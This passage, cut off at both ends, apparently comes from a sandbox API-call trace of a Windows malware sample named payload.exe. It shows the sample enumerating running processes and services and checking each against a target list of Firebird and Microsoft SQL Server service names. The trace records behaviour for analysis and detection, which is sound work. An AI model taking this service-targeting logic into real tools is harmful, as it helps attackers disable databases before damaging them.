returned 1 [0149.050] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0149.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0149.050] lstrlenW (lpString="SecurityHealthService") returned 21 [0149.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0149.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0149.050] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0149.050] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0149.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0149.050] lstrlenW (lpString="SENS") returned 4 [0149.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0149.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0149.051] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0149.051] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0149.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0149.051] lstrlenW (lpString="ShellHWDetection") returned 16 [0149.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0149.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0149.051] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0149.051] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0149.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0149.051] lstrlenW (lpString="Spooler") returned 7 [0149.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0149.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0149.051] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0149.051] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0149.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0149.051] lstrlenW (lpString="StateRepository") returned 15 [0149.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0149.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0149.051] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0149.051] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0149.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0149.051] lstrlenW (lpString="SysMain") returned 7 [0149.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0149.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0149.051] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0149.051] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0149.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0149.051] lstrlenW (lpString="SystemEventsBroker") returned 18 [0149.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0149.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0149.051] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0149.052] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0149.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0149.052] lstrlenW (lpString="Themes") returned 6 [0149.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0149.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0149.052] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0149.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0149.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0149.052] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0149.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0149.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0149.052] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0149.052] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0149.052] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4212978 | out: hHeap=0x660000) returned 1 [0149.052] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0149.063] Process32FirstW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.064] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0149.064] lstrlenW (lpString="System") returned 6 [0149.064] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0149.065] lstrlenW (lpString="smss.exe") returned 8 [0149.065] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0149.065] lstrlenW (lpString="csrss.exe") returned 9 [0149.066] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0149.066] lstrlenW (lpString="wininit.exe") returned 11 [0149.066] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0149.067] lstrlenW (lpString="csrss.exe") returned 9 [0149.067] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0149.067] lstrlenW (lpString="winlogon.exe") returned 12 [0149.068] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0149.068] lstrlenW (lpString="services.exe") returned 12 [0149.068] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0149.069] lstrlenW (lpString="lsass.exe") returned 9 [0149.069] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.069] lstrlenW (lpString="svchost.exe") returned 11 [0149.070] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0149.070] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0149.070] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0149.071] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0149.071] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.072] lstrlenW (lpString="svchost.exe") returned 11 [0149.072] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0149.072] lstrlenW (lpString="dwm.exe") returned 7 [0149.072] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.073] lstrlenW (lpString="svchost.exe") returned 11 [0149.073] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.074] lstrlenW (lpString="svchost.exe") returned 11 [0149.074] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.074] lstrlenW (lpString="svchost.exe") returned 11 [0149.074] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.075] lstrlenW (lpString="svchost.exe") returned 11 [0149.075] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.076] lstrlenW (lpString="svchost.exe") returned 11 [0149.076] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.076] lstrlenW (lpString="svchost.exe") returned 11 [0149.076] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.077] lstrlenW (lpString="svchost.exe") returned 11 [0149.077] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.078] lstrlenW (lpString="svchost.exe") returned 11 [0149.078] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.078] lstrlenW (lpString="svchost.exe") returned 11 [0149.078] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.079] lstrlenW (lpString="svchost.exe") returned 11 [0149.079] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0149.080] lstrlenW (lpString="spoolsv.exe") returned 11 [0149.080] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.080] lstrlenW (lpString="svchost.exe") returned 11 [0149.080] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0149.081] lstrlenW (lpString="audiodg.exe") returned 11 [0149.081] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0149.082] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0149.082] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0149.082] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0149.082] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0149.083] lstrlenW (lpString="Memory Compression") returned 18 [0149.083] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0149.092] lstrlenW (lpString="sihost.exe") returned 10 [0149.093] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.093] lstrlenW (lpString="svchost.exe") returned 11 [0149.093] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0149.094] lstrlenW (lpString="taskhostw.exe") returned 13 [0149.094] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0149.094] lstrlenW (lpString="msoia.exe") returned 9 [0149.095] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0149.095] lstrlenW (lpString="explorer.exe") returned 12 [0149.095] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0149.096] lstrlenW (lpString="SearchUI.exe") returned 12 [0149.096] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0149.097] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0149.097] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0149.097] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0149.097] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0149.098] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0149.098] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0149.099] lstrlenW (lpString="dllhost.exe") returned 11 [0149.099] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0149.443] lstrlenW (lpString="dllhost.exe") returned 11 [0149.443] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0149.444] lstrlenW (lpString="payload.exe") returned 11 [0149.444] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0149.444] lstrlenW (lpString="cmd.exe") returned 7 [0149.444] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf88, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0149.445] lstrlenW (lpString="conhost.exe") returned 11 [0149.445] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0149.445] lstrlenW (lpString="cmd.exe") returned 7 [0149.446] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0149.446] lstrlenW (lpString="conhost.exe") returned 11 [0149.446] Process32NextW (in: hSnapshot=0x368, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0149.447] CloseHandle (hObject=0x368) returned 1 [0149.447] Sleep (dwMilliseconds=0x1f4) [0149.991] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69dba0 [0149.992] EnumServicesStatusExW (in: hSCManager=0x69dba0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0149.992] GetLastError () returned 0xea [0149.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x6f5958 [0149.992] EnumServicesStatusExW (in: hSCManager=0x69dba0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f5958, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f5958, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0149.993] CloseServiceHandle (hSCObject=0x69dba0) returned 1 [0149.993] lstrlenW (lpString="Appinfo") returned 7 [0149.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0149.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0149.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0149.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0149.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0149.993] lstrlenW (lpString="AppXSvc") returned 7 [0149.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0149.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0149.993] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0149.994] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0149.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0149.994] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0149.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0149.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0149.994] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0149.994] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0149.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0149.994] lstrlenW (lpString="Audiosrv") returned 8 [0149.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0149.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0149.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0149.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0149.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0149.994] lstrlenW (lpString="BFE") returned 3 [0149.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0149.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0149.994] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0149.994] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0149.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0149.994] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0149.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0149.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0149.994] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0149.994] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0149.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0149.994] lstrlenW (lpString="CDPSvc") returned 6 [0149.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0149.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0149.994] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0149.995] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0149.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0149.995] lstrlenW (lpString="ClickToRunSvc") returned 13 [0149.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 